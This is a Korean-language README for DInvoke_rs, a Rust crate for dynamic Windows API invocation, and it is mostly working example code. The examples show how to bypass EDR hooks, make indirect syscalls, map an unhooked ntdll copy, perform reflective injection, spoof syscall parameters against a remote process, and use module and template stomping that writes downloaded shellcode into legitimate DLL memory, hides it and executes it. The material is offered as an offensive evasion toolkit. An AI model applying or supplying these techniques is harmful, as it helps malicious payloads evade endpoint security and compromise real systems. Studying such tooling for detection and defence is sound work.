
임의의 비관리 코드를 동적으로 호출
Dinvoke의 Rust 포팅 버전입니다. DInvoke_rs는 PE 파싱, 동적 내보내기 함수 해석, 런타임 시 PE 플러그인 동적 로딩, API 후크 우회 등 다양한 용도로 사용할 수 있습니다.
기능:
이 도구의 원본 C# 구현 제작자에게 모든 공로가 있습니다:
이 크레이트를 프로젝트에 가져오려면 cargo.toml에 다음 줄을 추가하세요:```rust
[dependencies]
dinvoke_rs = "0.2.2"
# 예제
## 내보낸 API 확인
아래 예제에서는 DInvoke_rs를 사용하여 DLL(이 경우 `ntdll.dll`)의 내보낸 함수를 동적으로 찾아 호출하는 방법을 보여줍니다.
1) ntdll의 기본 주소를 가져옵니다.
2) `get_function_address()`를 사용하여 이름으로 `ntdll.dll` 내의 내보낸 함수를 찾습니다. 이는 DLL의 EAT를 탐색하고 구문 분석하여 수행됩니다.
3) `get_function_address_by_ordinal()`을 호출하여 서수(ordinal)로 내보낸 함수를 찾을 수도 있습니다.```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
println!("ntdll.dll base address is 0x{:X}", ntdll);
// Dynamically obtain the address of a function by name.
let nt_create_thread = dinvoke_rs::dinvoke::get_function_address(ntdll, "NtCreateThread");
if nt_create_thread != 0
{
println!("NtCreateThread is at address 0x{:X}", nt_create_thread);
}
// Dynamically obtain the address of a function by ordinal.
let ordinal_8 = dinvoke_rs::dinvoke::get_function_address_by_ordinal(ntdll, 8);
if ordinal_8 != 0
{
println!("The function with ordinal 8 is located at addresss 0x{:X}", ordinal_8);
}
}
}
아래 예제에서는 DInvoke_rs를 사용하여 RtlAdjustPrivilege를 동적으로 호출함으로써 현재 프로세스 토큰에 대해 SeDebugPrivilege를 활성화합니다. 이러한 종류의 실행은 Win32에 존재하는 모든 API 후크를 우회합니다. 또한 최종 PE의 가져오기 주소 테이블(Import Address Table)에 항목을 생성하지 않으므로, 실행하지 않고 PE의 동작을 탐지하기가 더 어려워집니다.```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
unsafe
{
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which in Rust can be represented as an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
}
## 간접 syscall 실행
다음 예제에서는 `NtQueryInformationProcess` 함수에 해당하는 syscall을 실행하기 위해 DInvoke_rs를 사용합니다. 매크로 `execute_syscall!()` 는 원하는 syscall을 수행하는 데 필요한 셸코드를 동적으로 할당하고 실행하므로, `ntdll.dll`에 존재하는 모든 후크를 우회합니다. 할당된 메모리는 syscall이 반환되면 해제되어, 실행 권한이 있는 메모리 페이지가 영구적으로 존재하는 것을 방지합니다.```rust
use std::mem::size_of;
use windows::Win32::System::Threading::{GetCurrentProcess, PROCESS_BASIC_INFORMATION};
use dinvoke_rs::data::{NtQueryInformationProcess, PVOID};
fn main() {
unsafe
{
let function_type:NtQueryInformationProcess;
let ret: Option<i32>; //NtQueryInformationProcess returns a NTSTATUS, which is a i32.
let handle = GetCurrentProcess();
let p = PROCESS_BASIC_INFORMATION::default();
let process_information: PVOID = std::mem::transmute(&p);
let r = u32::default();
let return_length: *mut u32 = std::mem::transmute(&r);
dinvoke_rs::dinvoke::execute_syscall!(
"NtQueryInformationProcess",
function_type,
ret,
handle,
0,
process_information,
size_of::<PROCESS_BASIC_INFORMATION>() as u32,
return_length
);
let pbi: *mut PROCESS_BASIC_INFORMATION;
match ret {
Some(x) =>
if x == 0 {
pbi = std::mem::transmute(process_information);
let pbi = *pbi;
println!("The Process Environment Block base address is 0x{:X}", pbi.PebBaseAddress as u64);
},
None => println!("[x] Error executing direct syscall for NtQueryInformationProcess."),
}
}
}
이 예제에서 DInvoke_rs는 EDR 후크가 없는 ntdll.dll의 새 복사본을 수동으로 매핑하는 데 사용됩니다. 그런 다음 해당 새 ntdll.dll 복사본을 사용하여 원하는 함수를 실행할 수 있습니다.
이 수동 매핑은 메모리에서도 실행할 수 있으며(이 경우 manually_map_module() 사용), 전형적인 reflective dll injection을 수행할 수 있게 해줍니다.```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let ntdll: (PeMetadata, usize) = dinvoke_rs::manualmap::read_and_map_module(r"C:\Windows\System32\ntdll.dll", true, false).unwrap();
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
## 메모리 섹션 오버로드
다음 샘플에서는 DInvoke_rs를 사용하여 파일 지원 메모리 섹션(file-backed memory section)을 생성한 후, PE를 수동으로 매핑하여 이를 오버로드합니다. 메모리 섹션은 기본적으로 `%WINDIR%\System32\`에 있는 합법적인 파일을 가리키지만, 다른 디코이 모듈도 사용할 수 있습니다.
이 오버로드는 메모리에서 PE를 매핑하여 실행할 수도 있습니다(다음 예제에서 볼 수 있음). 이를 통해 페이로드를 디스크에 쓰지 않고 오버로드를 수행할 수 있습니다.```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let payload: Vec<u8> = your_download_function();
// This will map your payload into a legitimate file-backed memory section.
let overload: (PeMetadata, usize) = dinvoke_rs::overload::overload_module(&payload, "").unwrap();
// Then any exported function of the mapped PE can be dynamically called.
// Let's say we want to execute a function with header pub fn random_function(i32, i32) -> i32
let func_ptr: unsafe extern "Rust" fn (i32, i32) -> i32; // Function header
let ret: Option<i32>; // The value that the called function will return
let parameter1: i32 = 10;
let parameter2: i32 = 20;
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"random_function",func_ptr,ret,parameter1,parameter2);
match ret {
Some(x) =>
println!("The function returned the value {}", x),
None => panic!("[x] Error!"),
}
}
}
DInvoke_rs는 사용하지 않는 동안 매핑된 PE를 숨길 수 있어, EDR 메모리 검사가 프로세스에서 의심스러운 DLL의 존재를 탐지하기 더 어렵게 만듭니다.
예를 들어, EDR 후크를 우회하기 위해 새 복사본의 ntdll.dll을 매핑하려고 한다고 가정해 보겠습니다. 동일한 프로세스에 두 개의 ntdll.dll이 존재하는 것은 의심스러운 동작으로 간주될 수 있으므로, ntdll을 매핑하고 사용하지 않을 때마다 숨길 수 있습니다. 이는 셸코드 플럭추에이션 기법과 매우 유사하지만, 이 시나리오에서는 PE를 합법적인 파일 지원 메모리 섹션에 매핑한다는 사실을 활용할 수 있으므로 ntdll의 내용을 해당 섹션이 가리키는 원래 디코이 모듈의 내용으로 대체할 수 있습니다.```rust
use dinvoke_rs::dmanager::Manager;
fn main() {
unsafe
{
// The manager will take care of the hiding/remapping process and it can be used in multi-threading scenarios
let mut manager = Manager::new();
// This will map ntdll.dll into a memory section pointing to cdp.dll.
// It will return the payload (ntdll) content, the decoy module (cdp) content and the payload base address.
let overload: ((Vec<u8>, Vec<u8>), usize) = dinvoke_rs::overload::managed_read_and_overload(r"c:\windows\system32\ntdll.dll", r"c:\windows\system32\cdp.dll").unwrap();
// This will allow the manager to start taking care of the module fluctuation process over this mapped PE.
// Also, it will hide ntdll, replacing its content with the legitimate cdp.dll content.
let _r = manager.new_module(overload.1, overload.0.0, overload.0.1);
// Now, if we want to use our fresh ntdll copy, we just need to tell the manager to remap our payload into the memory section.
let _ = manager.map_module(overload.1);
// After ntdll has being remapped, we can dynamically call RtlAdjustPrivilege (or any other function) without worrying about EDR hooks.
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
// Since we dont want to use our ntdll copy for the moment, we hide it again. It can we remapped at any time.
let _ = manager.hide_module(overload.1);
}
}
## Syscall 매개변수 스푸핑
시스템 콜의 처음 4개 매개변수를 스푸핑하기 위해 DInvoke_rs는 하드웨어 브레이크포인트와 예외 처리기를 조합하여 지원합니다. 이를 통해 NT 함수에 악의적이지 않은 매개변수를 보낸 후, EDR이 이를 검사한 다음 syscall 명령이 실행되기 전에 원래 매개변수로 교체할 수 있습니다. 자세한 내용은 원래 아이디어가 나온 저장소를 확인하세요: [TamperingSyscalls](https://github.com/rad9800/TamperingSyscalls).
현재 이 기능은 `NtOpenProcess`, `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtWriteVirtualMemory` 및 `NtCreateThreadEx` 함수에 대해 구현되어 있습니다. 사용하려면 기능을 활성화하고 예외 처리기를 설정한 다음 Dinvoke를 통해 원하는 함수를 호출하기만 하면 됩니다.```rust
use dinvoke_rs::data::{THREAD_ALL_ACCESS, ClientId};
use windows::{Win32::Foundation::HANDLE, Wdk::Foundation::OBJECT_ATTRIBUTES};
fn main() {
unsafe
{
// We active the use of hardware breakpoints to spoof syscall parameters
dinvoke_rs::dinvoke::use_hardware_breakpoints(true);
// We get the memory address of our function and set it as a VEH
let handler = dinvoke_rs::dinvoke::breakpoint_handler as usize;
dinvoke_rs::dinvoke::add_vectored_exception_handler(1, handler);
let h = HANDLE {0: -1 as _};
let handle: *mut HANDLE = std::mem::transmute(&h);
let access = THREAD_ALL_ACCESS;
let a = OBJECT_ATTRIBUTES::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&a);
// We set the PID of the remote process
let remote_pid = 472isize;
let c = ClientId {unique_process: HANDLE {0: remote_pid as _}, unique_thread: HANDLE::default()};
let client_id: *mut ClientId = std::mem::transmute(&c);
// A call to NtOpenProcess is performed through Dinvoke. The parameters will be
// automatically spoofed by the function and restored to the original values
// before executing the syscall.
let ret = dinvoke_rs::dinvoke::nt_open_process(handle, access, attributes, client_id);
println!("NTSTATUS: {:x}", ret);
dinvoke_rs::dinvoke::use_hardware_breakpoints(false);
}
}
Dinvoke_rs의 overload 크레이트는 이제 managed_module_stomping() 함수를 호출하여 모듈 스톰핑을 수행할 수 있게 해줍니다. 이 함수의 첫 번째 매개변수는 셸코드의 내용입니다. 나머지 두 매개변수는 함수의 동작을 수정하며, 아래에 설명된 세 가지 서로 다른 실행 경로를 허용합니다.
제 생각에 이 함수를 사용하는 가장 좋은 방법은 정상적인 dll을 프로세스에 로드한 다음 Dinvoke가 해당 dll에서 셸코드를 스톰핑할 좋은 지점을 결정하도록 하는 것입니다. 이는 dll의 기본 주소를 managed_module_stomping()의 세 번째 매개변수로 전달하여 수행됩니다. 두 번째 인자는 반드시 0이어야 합니다. 이렇게 하면 Dinvoke는 dll의 Exception 데이터를 반복하면서 셸코드를 스톰핑하기에 충분히 큰 정상적인 함수를 찾습니다.```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
또한 두 번째 매개변수로 메모리 주소를 전달하여 셸코드를 스톰프할 정확한 위치를 지정할 수도 있습니다:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let my_big_enough_function = dinvoke_rs::dinvoke::get_function_address(my_dll, "somefunction");
let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
마지막으로, Dinvoke가 셸코드가 스톰프될 주소를 자동으로 결정하도록 허용할 수 있습니다. 이는 로드된 모든 모듈의 Exception 데이터를 반복 탐색하여 적절한 함수를 찾을 때까지 수행됩니다. 이 옵션은 예상치 못한 동작을 초래할 수 있으므로, 다른 선택지가 없는 경우가 아니라면 실제로 권장하지 않습니다.```rust let payload_content = download_function(); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
일단 셸코드가 스톰프되면, `dmanager` 크레이트를 사용하여 셸코드를 숨기기/다시 스톰프하여 셸코드 플럭추에이션을 수행할 수 있습니다:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let overload = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
let mut manager = dinvoke_rs::dmanager::Manager::new();
let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
...
let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
run();
let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again
Template stomping은 DLL에 특화된 module stomping 기법의 파생형입니다. 현재 이 기법은 현재 프로세스에만 DLL을 로드할 수 있으며, 원격 프로세스는 지원되지 않습니다.
주요 목표는 .text 섹션의 내용을 임의의 데이터로 교체하여 DLL로부터 템플릿을 생성하고, 경고를 발생시키지 않고 템플릿을 디스크에 기록할 수 있게 하는 것입니다. 이 템플릿은 LoadLibrary 호출을 통해 프로세스에 로드될 수 있도록 설계됩니다. 그런 다음 원래 .text 섹션 내용을 프로세스 메모리로 직접 다운로드하여 템플릿의 해당 메모리 영역에 스톰핑할 수 있습니다. 이 기법은 generate_template과 template_stomping이라는 두 가지 주요 함수를 사용하여 효과적으로 실행할 수 있습니다.
generate_template 함수는 원본 DLL에서 .text 섹션 내용을 추출하고 이를 임의의 데이터로 교체하여 템플릿을 생성하도록 설계되었습니다. 이를 통해 템플릿은 구조를 유지하지만, 엔트리 포인트와 TLS 콜백을 제외하고는 의미 있는 실행 코드를 포함하지 않게 됩니다. 해당 항목들은 더미이지만 동작하는 어셈블리 명령어로 대체됩니다. 원래 .text 섹션 내용은 별도로 payload.bin에 저장되며, 최종 템플릿 파일은 template.dll에 저장됩니다.```rust
fn main ()
{
let template = dinvoke_rs::overload::generate_template(r"C:\Path\To\payload.dll", r"C:\Path\To\Output\Directory");
match template
{
Ok(()) => { println!("Template successfully generated.");}
Err(x) => { println!("Error ocurred: {x}");}
}
}
그런 다음 템플릿을 **대상 시스템**의 디스크에 저장하고 `LoadLibrary`를 호출하여 현재 프로세스에 로드할 수 있습니다. 템플릿이 SO에 의해 로드되면, 다음 단계는 `payload.bin`에 저장된 원본 실행 콘텐츠를 템플릿의 `.text` 섹션에 덮어쓰는(stomping) 것입니다. 이 과정은 `template_stomping` 함수에 의해 수행되며, 이 함수는 원본 실행 콘텐츠를 올바른 메모리 영역에 덮어쓰면서 프로세스와 관련된 모든 세부 사항을 처리합니다.```rust
fn main ()
{
unsafe
{
let mut payload = http_download_payload(); // Download payload.bin content directly to memory
let stomped_dll = dinvoke_rs::overload::template_stomping(r"C:\Path\To\template.dll", &mut payload).unwrap();
println!("Stomped DLL base address: 0x{:x}", stomped_dll.1);
let function_ptr = dinvoke_rs::dinvoke::get_function_address(stomped_dll.1, "SomeRandomFunction");
let function: extern "system" fn() = std::mem::transmute(function_ptr);
function();
}
}
이 기법을 사용하면 실제 실행 파일 콘텐츠를 파일 시스템에 기록하지 않고도 DLL을 디스크 백업(disk backed) 메모리 영역에 로드할 수 있으며(프라이빗 메모리 영역이 필요 없어지고 EDR의 정적/동적 분석을 우회함), DLL을 리플렉티브 방식으로 로드할 때와 달리 DLL 코드가 실행되는 동안 깨끗한 호출 스택을 유지할 수도 있습니다.